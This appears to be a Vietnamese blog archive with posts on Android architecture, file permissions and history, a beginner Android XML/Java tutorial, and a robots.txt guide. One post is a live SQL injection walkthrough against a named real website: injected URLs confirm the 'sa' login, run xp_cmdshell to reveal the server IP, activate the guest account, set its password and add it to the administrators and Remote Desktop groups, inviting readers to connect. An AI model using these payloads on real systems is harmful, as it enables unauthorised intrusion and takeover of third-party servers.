- Activity Manager : Quản lý các chu kỳ sống của một ứng dụng cũng như cung cấp công cụ điều khiển các Activity.

- Telephony Manager : Cung cấp công cụ để thực hiện việc liên lạc như gọi điện thoại.

- XMPP Service : Cung cấp công cụ để liên lạc trong thời gian thực.

- Location Manager : Cho phép xác định vị trí của điện thoại thoại dựa vào hệ thống định vị toàn cầu GPS và Google Maps.

- Window Manager : Quản lý việc xây dựng và hiển thị các giao diện người dùng cũng như tổ chức quản lý các giao diện giữa các ứng dụng.

- Notication Manager : Quản lý việc hiển thị các thông báo (như báo có tin nhắn, có e-mail mới..).

- Resource Manager : Quản lý tài nguyên tĩnh của các ứng dụng bao gồm các file hình ảnh, âm thanh, layout, string. (Những thành phần không được viết bởi ngôn ngữ lập trình).

- …..

3 Tầng Application

Đây là lớp ứng dụng giao tiếp với người dùng, bao gồm các ứng dụng như :

Các ứng dụng cơ bản, được cài đặt đi liền với hệ điều hành là gọi điện(phone), quản lý danh bạ(Contacts), duyệt web (Browser), nhắn tin (SMS), lịch làm việc (Calendar), đọc e-mail (Email-Client), bản đồ (Map), quay phim chụp ảnh (camera)…

Các ứng dụng được cài thêm như các phần mềm chứng khoán (Stock), các trò chơi (Game), từ điển…

Các chương trình có các đặc điểm là :

- Viết bằng Java, phần mở rộng là apk.

- Khi mỗi ứng dụng được chạy, nó có một phiên bản Virtual Machine được dựng lên để phục vụ cho nó. Nó có thể là một Active Program : Chương trình có giao diện với người sử dụng hoặc là một background : chương trình chạy nền hay là dịch vụ.

- Android là hệ điều hành đa nhiệm, điều đó có nghĩa là trong cùng một thời điểm, có thể có nhiều chương trình cùng chạy một lúc, tuy nhiên, với mỗi ứng dụng thì có duy nhất một thực thể (instance) được phép chạy mà thôi. Điều đó có tác dụng hạn chế sự lạm dụng tài nguyên, giúp hệ thống hoạt động tốt hơn.

- Các ứng dụng được gán số ID của người sử dụng nhằn phân định quyền hạn khi sử dụng tài nguyên, cấu hình phần cứng và hệ thống.

- Android là một hệ điều hành có tính mở, khác với nhiều hệ điều hành di động khác, Android cho phép một ứng dụng của bên thứ ba được phép chạy nền. Các ứng dụng đó chỉ có một hạn chế nhỏ đó là nó không được phép sử dung quá 5~10% công suất CPU, điều đó nhằn để tránh độc quyền trong việc sử dụng CPU.

- Ứng dụng không có điểm vào cố định, không có phương thức main để bắt đầu.

Hệ thống tập tin trên hệ điều hành.

Trong phạm vi một bài tìm hiểu về hệ điều hành, em chỉ xin tìm hiểu rõ một vấn đề của hệ điều hành Android đó là vấn đề quản lý hệ thống tập tin. Phần này có điểm thuận lợi để tìm hiểu đó là vì được phát triển từ nhân linux nên hệ thống tập tin trên Android cực kỳ giống hệ thống tập tin trên linux như là về cách tổ chức, những quyền hạn của người sử dụng lên file…

1 Tổng quan về hệ thống file trên Android.

Trong Android, các file được tổ chức thành các thư mục, theo mô hình phân cấp. Tham chiếu đến một file bằng tên và đường dẫn. Các câu lệnh thao tác file cho phép thực hiện các chức năng như dịch chuyển, sao chép toàn bộ thư mục cùng với các thư mục con chứa trong nó…

Có thể sử dụng các ký tự, dấu gạch dưới, chữ số, dấu chấm và dấu phảy để đặt tên file. Không được bắt đầu một tên file bằng dấu chấm hay chữ số. Những ký tự khác như ‘/’, ‘?’, ‘*’, là ký tự đặc biệt được dành riêng cho hệ thống. Chiều dài của tên file có thể tới 256 ký tự. Trong hệ điều hành Android có sự phân biệt tên file chữ hoa và chữ thường, điều đó có nghĩa là trong cùng 1 thư mục có thể tồn tại những file có tên là File, FILE, file.. và chúng là những file khác nhau..

Tất cả các file trong Android có chung cấu trúc vật lý là chuỗi các byte (byte stream). Cấu trúc thống nhất này cho phép Android áp dụng khái niệm file cho mọi thành phần dữ liệu trong hệ thống. Thư mục cũng như các thiết bị được xem như file. Chính việc xem mọi thứ như các file cho phép Android quản lý và chuyển đổi dữ liệu một cách dễ dàng. Một thư mục chứa các thông tin về thư mục, được tổ chức theo một định dạng đặc biệt. Các thành phần được xem như các file, chúng được phân biệt dựa trên kiểu file: ordinary file, directory file, character device file, và block device file.

2 Các kiểu file trên Android

Trong nhiều hệ điều hành như window, người ta phân biệt rõ file (tập tin) và folder (hay directory : thư mục) là 2 thành phần khác hẳn nhau. Tuy nhiên trên hệ điều hành Android (cũng như linux) thì coi directory cũng là file và nó là một loại file đặc biệt. Thực tế còn một số loại file nữa có thể liệt kê theo bảng sau :

3 Tổ chức quyền sở hữu và quyền hạn trên file.

Tương tự trên hệ thống linux, trên hệ điều hành Android, một file có thể liên kết với một người sử dụng và một nhóm người sử dụng. Sự liên kết đó là một tập hợp các quyền hạn truy cập bao gồm quyền được phép đọc (read), được phép ghi (write) và được phép thực thi (execute).

Cụ thể như sau: Một file sẽ có những quyền hạn tương ứng với 9 ký tự theo mẫu sau : Với ký tự r w x nghĩa là có quyền tương ứng với ký tự viết tắt đó, – nghĩa là không có quyền hạn đó.

3 ký tự đầu tiên là quyền hạn chủ nhân file

3 ký tự giữa là quyền hạn của nhóm tài khoản sở hữu file

3 ký tự cuối là quyền hạn của những người không thuộc nhóm sở hữu file.

Ví dụ : Một file có dãy ký tự biểu diễn quyền hạn là rwxr-xr— thì điều đó có nghĩa :

3 ký tự đầu là rwx : Chủ nhân có thể đọc, ghi và thực thi file .

3 ký tự tiếp theo là r-x thì nhóm tài khoản sở hữu file có quyền đọc và thực thi file chứ không có quyền ghi, chỉnh sửa file.

3 ký tự cuối là r– nghĩa là những người không sở hữu file chỉ được phép đọc mà không thể chỉnh sửa hay thực thi file.

Trên hệ thống Android, để biết xem được quyền hạn đó, ta có thể sử dụng câu lệnh ls –l –d. Ví dụ : ls -l -d /mnt/sdcard/QuangHoa để xem quyền hạn của file /mnt/sdcard/QuangHoa thì có thể trả về kết quả như sau:

d—rwxr-x system sdcard_rw 2010-12-29 21:00 QuangHoa

Thì những thông tin có thể lấy về là :

· Ký tự đầu tiên là chữ d : vậy file đó có kiểu là thư mục hay là file bao hàm

· Chuỗi ghi quyền hạn là —rwxr-x thì có nghĩa

o (—)Người sở hữu không được phép đọc, ghi, thực thi file.

o (rwx) Nhóm tài khoản sử hữu được phép đọc, ghi, thực thi file.

o r-x : Những người không sở hữu file được phép đọc và thực thi file nhưng không được phép chỉnh sửa hay ghi lên file.

· Chuỗi miêu tả file : sdcard_rw nghĩa là đây thuộc thiết bị thẻ nhớ sd, đọc và ghi được.

· 2010-12-29 21:00 Thời gian chỉnh sửa lần cuối.

· QuangHoa : tên của file.

Ngoài ra có 2 lệnh khác cũng hữu dụng là lệnh chown để thay đổi quyền sở hữu file, lệnh chmod để thay đổi quyền hạn liên quan đến file và lệnh chgrp để thay đổi nhóm người sở hữu file.

4 Cây thư mục trên hệ điều hành Android

Thư mục (hay có thể gọi là file) root là thư mục gốc của tất cả các file thư mục còn lại. Dưới nó có chứa một số file thư mục hệ thống. Mỗi thư mục (trừ thư mục root) đều có một thư mục cha chứa nó, bản thân nó cũng có thể có nhiều file thư mục con. Cấu trúc đó có thể mô tả bằng một cây thư mục có dạng như sau :

 

Giới thiệu một vài thư mục tiêu biểu :

· /(root) : Là thư mục gốc. Là thư mục duy nhất không có thư mục cha .

· / mnt : thư mục chứa thiết bị lưu động (removeable) .

· /system : chứa những thành phần cơ bản nhất của hệ thống .

· /ect : chứa những file cấu hình của hệ thống, nó cực kỳ quan trọng vì sự hoạt động của hệ thống đều bị chi phối ở những file cấu hình này.

· /system/lost+found : chứa những tập tin bị mất lúc khởi động máy .

· /system/font : chứa những font chữ hiển thị được .

· /system/lib : chứa các thư viện để các phần mềm hoạt động (các phần mềm viết bằng ngôn ngữ java).

· /system/app : chứa các file apk của phần mềm. (Các file cài đặt ứng dụng, kiểu như MSI trong window hay dev trong Linux) .

· /system/bin : Chứa các chương trình nội trú của hệ thống.

· ….

So sánh giữa các hệ điều hành.

1 So sánh giữa hệ điều hành di động và hệ điều hành trên desktop

- Giống nhau về bản chất hệ điều hành, những thành phần lõi hệ điều hành.

- Khác nhau :

- Hệ điều hành di động : hoạt động trên các thiết bị nhỏ gọn, hạn chế nhất là về vấn đề năng lượng. Pin thì có hạn, vì thế tất cả các thành phần trên thiết bị đều phải tối ưu để tiết kiệm pin, điều đó nảy sinh nhiều mâu thuẩn với nhu cầu sử dụng của người dùng.

§ Màn hình càng lớn và càng sáng thì sẻ tốn điện càng nhiều.

§ Bộ nhớ lớn thì chi phí về điện cũng sẻ cao.

§ Bộ vi xử lý càng nhanh thì càng tốn điện.

Điều đó chưa kể đến việc thiết bị di động thì phải nhỏ gọn, nhẹ nhàng, vì vậy càng đè nặng việc phải tối ưu phần cứng.

Khi đó hệ điều hành di động cũng có trách nhiệm phải tối ưu hoạt động của mình để tiết kiệm năng lượng một cách tối đa.

· Nó phải quản lý các ứng dụng không để các ứng dụng chạy chiếm quá nhiều tài nguyên, tránh sự độc quyền, xung đột, tranh chấp tài nguyên giữa các ứng dụng trong khi các hệ điều hành chạy desktop thì ít chú ý hơn. Hệ điều hành di động luôn có bộ công cụ quản lý điện năng sử dụng trong máy, trong những tình huống cần thiết thì hệ thống sẻ tự tắt những ứng dụng không cần thiết để duy trì các chương trình cần thiết hơn hoạt động.

· Đa số các hệ điều hành trên desktop đều cho phép nhiều ứng dụng chạy đồng thời (đa nhiệm) và khá tự do. Trong khi đó, các hệ điều hành chạy trên di động thường không cho phép chạy đa nhiệm, hoặc có đa nhiệm thì các ứng dụng bị giới hạn khá nhiều.

o Việc hiển thị giao diện trên một khung hình nhỏ cũng điều khó khăn hơn so với hệ điều hành chạy trên desktop, thường thì trên hệ điều hành di động gần như không có giao diện cửa sổ cho phép nhiều ứng dụng cùng hiển thị một lúc mà chỉ là một giao diện mà trên đó mỗi thời điểm chỉ hiển thị một giao diện của một ứng dụng mà thôi.

o Hệ điều hành di động phải có khả năng hoạt động liên tục không ngừng nghĩ để đảm bảo liên lạc, đảm bảo kết nối của thiết bị tới mạng không dây cần kết nối trong khi vẫn di chuyển. Vì thế cần được thiết kế đặc biệt hơn so với hệ điều hành trên desktop.
1.1.4.2 So sánh hệ điều hành Android với các hệ điều hành di động khác.

- Giống nhau : Đều là hệ điều hành di động nên mang đầy đủ bản chất của hệ điều hành di động nói chung. (Đã đề cập ở trên) .

- Khác nhau :

+ Android là hệ điều hành mã nguồn mở và miễn phí trong khi các hệ điều hành di động còn lại đều là nguồn đóng và có phí (khi một hãng thứ hai sử dụng) .

+ Android được phát triển từ nhân linux do đó nó có thể chạy tốt trên nhiều dòng điện thoại khác nhau. Có độ

+ Các ứng dụng chạy trên Android được viết bằng Java trong khi đó, ứng dụng trên các hệ điều hành khác chủ yếu là viết bằng C/C++/Object C. Ngay cả symbian có hỗ trợ Java thì cũng khác so với Android, trong khi hệ điều hành Android sử dụng máy ảo Java là Dalvik VM do chính Google phát triển thì Symbian lại sử dụng máy ảo Java là J2ME của Sun.

Lịch sử phát triển và hướng phát triển trong tương lai.

1 Lịch sử phát triển.

Android là hệ điều hành trên điện thoại di động (và hiện nay là cả trên một số đầu phát HD, HD Player) phát triển bởi Google và dựa trên nền tảng Linux. Trước đây, Android được phát triển bởi công ty liên hợp Android ( sau đó được Google mua lại vào năm 2005). Theo NPD, thiết bị di động sử dụng hệ điều hành Android bán được tại Mỹ trong quý II năm 2010 xếp vị trí đầu tiên với 33%, thứ 2 là BB os với 28% và iOS ở vị trí thứ 3 với 22%. Android có một cộng đồng những nhà phát triển rất lớn viết các ứng dụng cho hệ điều hành của mình. Hiện tại có khoảng 1000,000 ứng dụng cho Android os và vào khoảng 1000,000 ứng dụng đã được đệ trình, điều này khiến Android trở thành hệ điều hành di động có môi trường phát triển lớn thứ 2. Các nhà phát triển viết ứng dụng cho Android dựa trên ngôn ngữ Java. Sự ra mắt của Android vào ngày 5 tháng 11 năm 2007 gắn với sự thành lập của liên minh thiết bị cầm tay mã nguồn mở, bao gồm 78 công ty phần cứng, phần mềm và viễn thông nhằm mục đính tạo nên một chuẩn mở cho điện thoại di động trong tương lai. Google công bố hầu hết các mã nguồn của Android theo bản cấp phép Apache. Hệ điều hành Android bao gồm 12 triệu dòng mã; 3 triệu dòng XML, 2.8 triệu dòng mã C, 2.1 triệu mã JAVA và 1.75 triệu dòng mã C++.

Chi tiết lịch sử phát triển như sau:

Tháng 7 năm 2005, Google mua lại Android, Inc., một công ty nhỏ mới thành lập có trụ sở ở Palo Alto , California , Mỹ. Những nhà đồng sáng lập của Android chuyển sang làm việc tại Google gồm có Andy Rubin (đồng sáng lập công ty Danger), Rich Miner (đồng sáng lập công ty Wildfire Communications), Nick Sears (từng là phó chủ tịch của T-Mobile ), và Chris White (trưởng nhóm thiết kế và phát triển giao diện tại WebTV). Khi đó, có rất ít thông tin về các công việc của Android, ngoại trừ việc họ đang phát triển phần mềm cho điện thoại di động. Điều này tạo những tin đồn về việc Google có ý định bước vào thị trường điện thoại di động.

Tại Google, nhóm do Rubin đứng đầu đã phát triển một nền tảng thiết bị di động dựa trên hạt nhân Linux, được họ tiếp thị đến các nhà sản xuất thiết bị cầm tay và các nhà mạng trên những tiền đề về việc cung cấp một hệ thống mềm dẻo, có khả năng nâng cấp mở rộng cao. Một số nguồn tin cho biết trước đó Google đã lên danh sách các thành phần phần cứng và các đối tác phần mềm, đồng thời ra hiệu với các nhà mạng rằng họ sẵn sàng hợp tác ở nhiều cấp độ khác nhau. Ngày càng nhiều suy đoán rằng Google sẽ tham gia thị trường điện thoại di động xuất hiện trong tháng 12 năm 2006. Tin tức của BBC và Nhật báo phố Wall chú thích rằng Google muốn đưa công nghệ tìm kiếm và các ứng dụng của họ vào điện thoại di động và họ đang nỗ lực làm việc để thực hiện điều này. Các phương tiện truyền thông in và online cũng sớm có bài viết về những tin đồn cho rằng Google đang phát triển một thiết bị cầm tay mang thương hiệu Google. Và lại càng có nhiều suy đoán sau bài viết về việc Google đang định nghĩa các đặc tả công nghệ và trình diễn các mẫu thử với các nhà sản xuất điện thoại di động và nhà mạng.

Tháng 9 năm 2007, InformationWeek đăng tải một nghiên cứu của Evalueserve cho biết Google đã nộp một số đơn xin cấp bằng sáng chế trong lĩnh vực điện thoại di động.

Trên là 1 số thông tin cơ bản về lịch sử phát triển của hệ điều hành Android và đây là hình ảnh tom tắt quá trình cập nhật các phiên bản của hệ điều hành Android.

2 Hướng phát triển trong tương lai.

Hiện tại thì Android đang rất phát triển, hướng đi quan trọng nhất hiện giờ (4-2-2012) là Google sẽ tích hợp điện toán đám mây trên hệ điều hành Android và bảo mật dữ liệu. Là mã nguồn mở nên việc bảo mật dữ liệu là rất khó nên google sẽ dành nhiều thời gian cho vấn đề này. Chúng ta cùng chờ xem Google thực hiện ra sao.

November 24, 2012 at 2:40 am Leave a comment

Cac thanh phan co ban cua android

Việc hiểu được các thành phần (component) tạo nên một ứng dụng Android là rất cần thiết cho việc lập trình. Các thành phần này được chia làm 6 loại bao gồm:
1.Activity: hiểu một cách đơn giản thì Activity là nền của 1 ứng dụng. Khi khởi động 1 ứng dụng Android nào đó thì bao giờ cũng có 1 main Activity được gọi, hiển thị màn hình giao diện của ứng dụng cho phép người dùng tương tác.
2.Service: thành phần chạy ẩn trong Android. Service sử dụng để update dữ liệu, đưa ra các cảnh báo (Notification) và không bao giờ hiển thị cho người dùng thấy.
3.Content Provider: kho dữ liệu chia sẻ. Content Provider được sử dụng để quản lý và chia sẻ dữ liệu giữa các ứng dụng.
4.Intent: nền tảng để truyền tải các thông báo. Intent được sử dụng để gửi các thông báo đi nhằm khởi tạo 1 Activity hay Service để thực hiện công việc bạn mong muốn. VD: khi mở 1 trang web, bạn gửi 1 intent đi để tạo 1 activity mới hiển thị trang web đó.
5.Broadcast Receiver: thành phần thu nhận các Intent bên ngoài gửi tới. VD: bạn viết 1 chương trình thay thế cho phần gọi điện mặc định của Android, khi đó bạn cần 1 BR để nhận biết các Intent là các cuộc gọi tới.
6.Notification: đưa ra các cảnh báo mà không làm cho các Activity phải ngừng hoạt động.
Activity, Service, Broadcast Receiver và Content Provider mới là những thành phần chính cấu thành nên ứng dụng Android, bắt buộc phải khai báo trong AndroidManifest (tham khảo bài sau có giới thiệu đầy đủ về file này).

Understanding Android Application Life Cycle:

Android có cơ chế quản lý các process theo chế độ ưu tiên. Các process có priority thấp sẽ bị Android giải phóng mà không hề cảnh báo nhằm đảm bảo tài nguyên.
1.Foreground process: là process của ứng dụng hiện thời đang được người dùng tương tác.
2.Visible process: là process của ứng dụng mà activity đang hiển thị đối với người dùng (onPaused() của activity được gọi).
3.Service process: là Service đang running.
4.Background process: là process của ứng dụng mà các activity của nó ko hiển thị với người dùng (onStoped() của activity được gọi).
5.Empty process: process không có bất cứ 1 thành phần nào active.
Theo chế độ ưu tiên thì khi cần tài nguyên, Android sẽ tự động kill process, trước tiên là các empty process.

Android Activity Life Cycle:

Như mình đã giới thiệu ở trên , Actitvity là thành phần quan trọng nhất và đóng vai trò chính trong xây dựng ứng dụng Android. Hệ điều hành Android quản lý Activity theo dạng stack: khi một Activity mới được khởi tạo, nó sẽ được xếp lên đầu của stack và trở thành running activity, các Activity trước đó sẽ bị tạm dừng và chỉ hoạt động trở lại khi Activity mới được giải phóng.
Activity bao gồm 4 state:
active (running): Activity đang hiển thị trên màn hình (foreground).
paused: Activity vẫn hiển thị (visible) nhưng không thể tương tác (lost focus). VD: một activity mới xuất hiện hiển thị giao diện đè lên trên activity cũ, nhưng giao diện này nhỏ hơn giao diện của activity cũ, do đó ta vẫn thấy được 1 phần giao diện của activity cũ nhưng lại không thể tương tác với nó.
stop: Activity bị thay thế hoàn toàn bởi Activity mới sẽ tiến đến trạng thái stop
killed: Khi hệ thống bị thiếu bộ nhớ, nó sẽ giải phóng các tiến trình theo nguyên tắc ưu tiên. Các Activity ở trạng thái stop hoặc paused cũng có thể bị giải phóng và khi nó được hiển thị lại thì các Activity này phải khởi động lại hoàn toàn và phục hồi lại trạng thái trước đó.

Biểu đồ miêu tả Activity state

Vòng đời của Activity:

Entire lifetime: Từ phương thức onCreate( ) cho tới onDestroy( )
Visible liftetime: Từ phương thức onStart( ) cho tới onStop( )
Foreground lifetime: Từ phương thức onResume( ) cho tới onPause( )
Khi xây dựng Actitvity cho ứng dụng cần phải viết lại phương thức onCreate( ) để thực hiện quá trình khởi tạo. Các phương thức khác có cần viết lại hay không tùy vào yêu cầu lập trình.
XML trong Android:
Không giống như lập trình java thông thường, lập trình android ngoài các lớp được viết trong *.java còn sử dụng XML để thiết kế giao diện cho ứng dụng. Tất nhiên bạn hoàn toàn có thể thiết kế 1 giao diện như ý muốn mà không cần tới bất cứ 1 dòng XML nào, nhưng sử dụng XML sẽ đơn giản công việc đi rất nhiều. Đồng thời sử dụng XML sẽ giúp việc chỉnh sửa ứng dụng sau này trở nên dễ dàng.
Về nguyên tắc, khi lập trình ứng dụng ta thiết kế giao diện bằng XML và cài đặt các xử lý khi tương tác với giao diện trong code.
1 số thành phần cơ bản trong Android:
1.Các layout:
Layout được dùng để quản lý các thành phần giao diện khác theo 1 trật tự nhất định.
- FrameLayout: Layout đơn giản nhất, thêm các thành phần con vào góc trên bên trái của màn hình.
- LinearLayout: thêm các thành phần con theo 1 chiều nhất định (ngang hoặc dọc). Đây là layout được sử dụng nhiều nhất.
- RelativeLayout: thêm các thành phần con dựa trên mối quan hệ với các thành phần khác hoặc với biên của layout.
- TableLayout: thêm các thành phần con dựa trên 1 lưới các ô ngang và dọc.
- AbsoluteLayout: thêm các thành phần con dựa theo tọa độ x, y.
Layout được sử dụng nhằm mục đích thiết kế giao diện cho nhiều độ phân giải. Thường khi lập trình nên kết hợp nhiều layout với nhau để tạo ra giao diện bạn mong muốn.
2.XML unit:
Để hiểu được các thành phần cơ bản của XML cũng như việc sử dụng XML kết hợp với code, ta sẽ đi xây dựng thử một chương trình đơn giản.
Yêu cầu: Xây dựng 1 ứng dụng cho phép gõ 1 nội dung vào rồi hiển thị ra nội dung đó ở bên dưới.
B1: Khởi tạo 1 project (ở đây sử dụng Eclipse để minh họa).
Vào thẻ File -> New -> Android Project. Nếu bạn mới lập trình Android lần đầu thì có lẽ dòng Android Project sẽ không hiện ra, khi đó xuống phía cuối chọn Other rồi vào Android -> Android Project.

B2: Điền thông tin cho project

 
Project name: Example 1
Build Target: Chọn Android 4.0.3 (mới nhất là 2.1 nhưng hiện tại bạn chưa cần quan tâm có thể chọn cũ hơn)
Application name: Example 1
Package name: at.exam
Create Activity: Example
=> Kích nút Finish.B3: Bên khung Package Explore bên trái đi tới thư mục res, bạn sẽ thấy có các thư mục con:

- drawable: thư mục chứa các hình ảnh để làm icon hoặc tài nguyên cho giao diện…
- layout: chứa các file xml để thiết kế giao diện.
- values: chứa các giá trị sử dụng trong ứng dụng được bạn định nghĩa, như các dòng ký tự (string), các màu (color), các themes…
B4: Vào thư mục layout, chọn file main.xml và gõ đoạn code sau vào thay cho toàn bộ nội dung có sẵn (Eclipse hỗ trợ kéo thả cho xml nhưng theo mình không nên sử dụng):
Mã:
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:orientation="vertical"
    android:layout_width="fill_parent"
    android:layout_height="fill_parent"
    >
    <EditText
        android:id="@+id/edit_text"
        android:layout_width="fill_parent"
        android:layout_height="wrap_content"
        android:hint="@string/edit_hint"
    />
    <TextView  
        android:id="@+id/text_view"
        android:layout_width="fill_parent" 
        android:layout_height="wrap_content"
        android:textColor="@color/text_color"
        android:textSize="28px"
        android:typeface="monospace"
    />
</LinearLayout>
Trong đoạn XML này chúng ta khai báo một Linear Layout với 2 thành phần con của nó là 1 Edit Text (dùng để gõ xâu ký tự) với 1 Text View (hiển thị xâu ký tự). Linear Layout được khai báo với từ khóa orientation nhằm chỉ ra chiều sắp xếp của 2 thành phần con là chiều dọc. Còn với layout_width, layout_height các bạn có thể cho giá trị bằng “fill_parent” hoặc “wrap_content” để thông báo thành phần này sẽ có chiều rộng (dài) phủ đầy thành phần cha hoặc chỉ vừa bao đủ nội dung.
Trong Edit Text và Text View các bạn có thể thấy có từ khóa id, từ khóa này cho phép khai báo id của các thành phần để lấy về trong code (sẽ đề cập sau).
Ngoài ra từ khóa hint trong Edit Text cho phép hiện ra phần nội dung mờ khi Edit Text vẫn chưa có ký tự nào. “@string/edit_hint” thông báo lấy trong file strings.xml xâu có tên là edit_hint.
Còn textColor của Text View thì thông báo đoạn ký tự sẽ được hiển thị với màu lấy trong file colors.xml, textSize chỉ ra cỡ chữ bằng 28 pixel và typeface chỉ ra kiểu chữ là monospace
B5: Vẫn trong thư mục res, vào values và chọn file strings.xml. Bố sung thêm dòng định nghĩa cho edit_hint như sau:
Mã:
<?xml version="1.0" encoding="utf-8"?>
<resources>
    <string name="hello">Hello World, Example!</string>
    <string name="app_name">Example 1</string>
    <string name="edit_hint">Enter the work here</string>
</resources>
B6: Trong thư mục values, tạo file colors.xml (chuột phải vào thư mục, chọn New -> Android XML File, và lưu ý chữ s, không phải là color.xml). Gõ nội dung cho file như sau:
Mã:
<?xml version="1.0" encoding="utf-8"?>
<resources>
    <color name="text_color">#ff3300</color>
</resources>
OK, vậy là bạn đã tạo một màu mới cho dòng chữ sẽ được hiển thị trong Text View (ff3300 là mã hexa của màu đỏ). Thực chất bạn hoàn toàn có thể gõ thẳng
Mã:
android:textColor="#ff3300"
Trong file main.xml mà không cần tạo mới file colors.xml, nhưng mục đích của XML trong Android chính là để hỗ trợ nâng cấp chỉnh sửa dễ dàng. Nếu sau này bạn muốn sửa màu của dòng text thì chỉ cần vào colors.xml thay đổi thay vì mò mẫm trong main.xml (có thể rất dài nếu giao diện phức tạp).
Các thành phần trên mới chỉ là các phần cơ bản của XML. Ngoài ra các bạn có thể khai báo thêm về Animation, Style và Theme (phức tạp hơn nhiều nên mình không giới thiệu trong phần cơ bản này).
B7: Vậy là chúng ta đã hoàn thiện phần giao diện với XML, giờ đến viết code để xử lý các sự kiện cho các thành phần:
=> vào thư mục src (source code của project) => at.exam => Example.java, gõ nội dung code sau vào:
package at.exam;
import android.app.Activity;
import android.os.Bundle;
import android.view.KeyEvent;
import android.view.View;
import android.view.View.OnKeyListener;
import android.widget.EditText;
import android.widget.TextView;
public class Example extends Activity {
    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        
        //Thiết lập giao diện lấy từ file main.xml
        setContentView(R.layout.main);
        
        //Lấy về các thành phần trong main.xml thông qua id
        final EditText edit = (EditText) findViewById(R.id.edit_text);
        final TextView text = (TextView) findViewById(R.id.text_view);
        
        //Thiết lập xử lý cho sự kiện nhấn nút giữa của điện thoại
        edit.setOnKeyListener(new OnKeyListener() {           
            @Override
            public boolean onKey(View v, int keyCode, KeyEvent event) {
                if (event.getAction() == KeyEvent.ACTION_DOWN
                        && keyCode == KeyEvent.KEYCODE_DPAD_CENTER) {
                    text.setText(edit.getText().toString());
                    edit.setText("");
                    return true;                   
                }
                else {
                    return false;
                }
            }
            
        });
    }
}
 
Dạo qua một chút kiến thức cơ bản: Trong Android, các lớp sử dụng để tạo giao diện (Edit Text, Text View...) đều là lớp con của lớp View. Một số lớp thường xuyên được sử dụng để tạo giao diện:

- TextView
- EditText
- ListView
- Spinner
- CheckBox
- Button
- RadioButton
Ngoài ra bạn còn có thể tạo 1 View riêng của mình bằng cách kế thừa View có sẵn.

Các Listener được sử dụng để bắt 1 sự kiện nào đó. Ở đây mình sử dụng OnKeyListener dùng để bắt sự kiện khi nhấn 1 phím của điện thoại. Ngoài ra thường sử dụng OnClickListener để bắt sự kiện chạm vào 1 View đang hiển thị trên màn hình. Mỗi View đều phải set Listener riêng để xử lý cho sự kiện tương tác với nó, và mỗi loại View cũng lại có những Listener dành riêng cho nó (VD: CheckBox có OnCheckChangedListener)
Ở đây mình sử dụng hàm dạng inner để định nghĩa xử lý cho OnKeyListener nên có thể mọi người không quen lắm, nhưng nó cũng nằm trong phần cơ bản của Java đấy nhé.
 

 

Đề nghị lưu ý thêm phần R.id.edit_text. Để lấy hoặc truy nhập các thành phần ta đã định nghĩa trong XML ta phải sử dụng R.* như R.layout.main, R.id.edit_text. Lệnh findViewById sẽ trả về 1 View có Id thiết lập trong phần XML. Do View là lớp cha của EditText với TextView nên ở đây ta phải ép kiểu.

 

Ngoài ra các string hay color cũng có thể lấy về bằng lệnh getResource() . Vd: getResource().getColor(R.color.text_color)

 

B8: Chạy chương trình. Chọn Run => Android Application và chờ cho emulator khởi động nhé. Ai có 1 Android thật có thể kết nối qua USB và thử nghiệm luôn. Tự chỉnh sửa trong code và trong XML để hiểu thêm về lập trình Android.

VD:

Mã:
edit.setOnClickListener(new OnClickListener() {            
                        @Override
            public void onClick(View v) {
                // TODO Auto-generated method stub

            }

        });

hoặc trong XML thêm vào phần Text View 

Mã:
android:textSize="50px"

để xem chương trình thay đổi như thế nào nhé.

November 24, 2012 at 2:13 am Leave a comment

Remote desktop via user “sa”-sql injection

Thấy nhiều người hỏi cái này, mạn phép làm cái live show luôn ha Link bug: Code: http://www.funds4me.co.uk/stores.asp?catID=43&#8242; +Check user: Code: http://www.funds4me.co.uk/stores.asp?catID=43’%20and%201=convert(int,system_user)–sp_password Dính SA goài:68: Trích: [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘sa’ to a column of data type int. +Check ip srv: Đầu tiên đổ kết quả của lệnh ipconfig vào table keke: Code: http://www.funds4me.co.uk/stores.asp?catID=43&#8242;;drop%20table%20keke%20create%20table%20keke%20(id%20int%20identity,nd%20varchar(1000))%20insert%20into%20keke(nd)%20exec%20master..xp_cmdshell%20’ipconfig’–sp_password Sau đó convert ra xem kq thoai: Code: http://www.funds4me.co.uk/stores.asp?catID=43’%20and%201=convert(int,(select%20top%201%20nd%20from%20keke%20where%20nd%20like%20(‘%25Ip%20address%25&#8242;)))–sp_password Ra ip thật nè: Trích: [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘ IP Address. . . . . . . . . . . . : 212.69.230.65 ‘ to a column of data type int. +Add user và nâng quyền rồi tìm cách remote desktop vào: Ở đây tôi chọn giải pháp active acc guest và nâng guest lên admin cho đỡ bị lộ Active guest acc: Code: http://www.funds4me.co.uk/stores.asp?catID=43&#8242;;exec master..xp_cmdshell ‘net user guest /active:yes';–sp_password Set lại pass cho guest Code: http://www.funds4me.co.uk/stores.asp?catID=43&#8242;;exec master..xp_cmdshell ‘net user guest xxxxxx';–sp_password Add guest vào admin group: Code: http://www.funds4me.co.uk/stores.asp?catID=43&#8242;;exec master..xp_cmdshell ‘net localgroup administrators guest /add';–sp_password Chắc nữa là add guest vào Remote Desktop group: Code: http://www.funds4me.co.uk/stores.asp?catID=43&#8242;;exec master..xp_cmdshell ‘net localgroup “Remote Desktop Users” guest /add';–sp_password Dùng Remote Desktop vào srv 212.69.230.65 với acc guest/xxxxxx thôi (pass đã change, ai thik thì tự tạo lại) P/S:cái này mà tạo Virtual Private Srv fake ip rất good, hoặc để crack md5 pass hash Thân!

September 15, 2011 at 3:13 am Leave a comment

Cách tạo và sử dụng file Robots.txt

File Robots.txt được sử dụng để hướng dẫn công cụ tìm kiếm tự động đến những trang nào mà bạn muốn nó tìm kiếm và sau đó thì index trang đó. Hầu hết trang web nào cũng có những thư mục và files không cần đến robot của công cụ tìm kiếm ghé thăm. Do vậy tạo ra file robots.txt có thể giúp bạn trong SEO.

 

File robots.txt là một dạng file rất đơn giản có thể được tảo bởi công cụ Notepad. Nếu bạn sử dụng WordPress một file robots.txt sẽ có dạng như sau

User-agent: *
Disallow: /wp-
Disallow: /feed/
Disallow: /trackback/

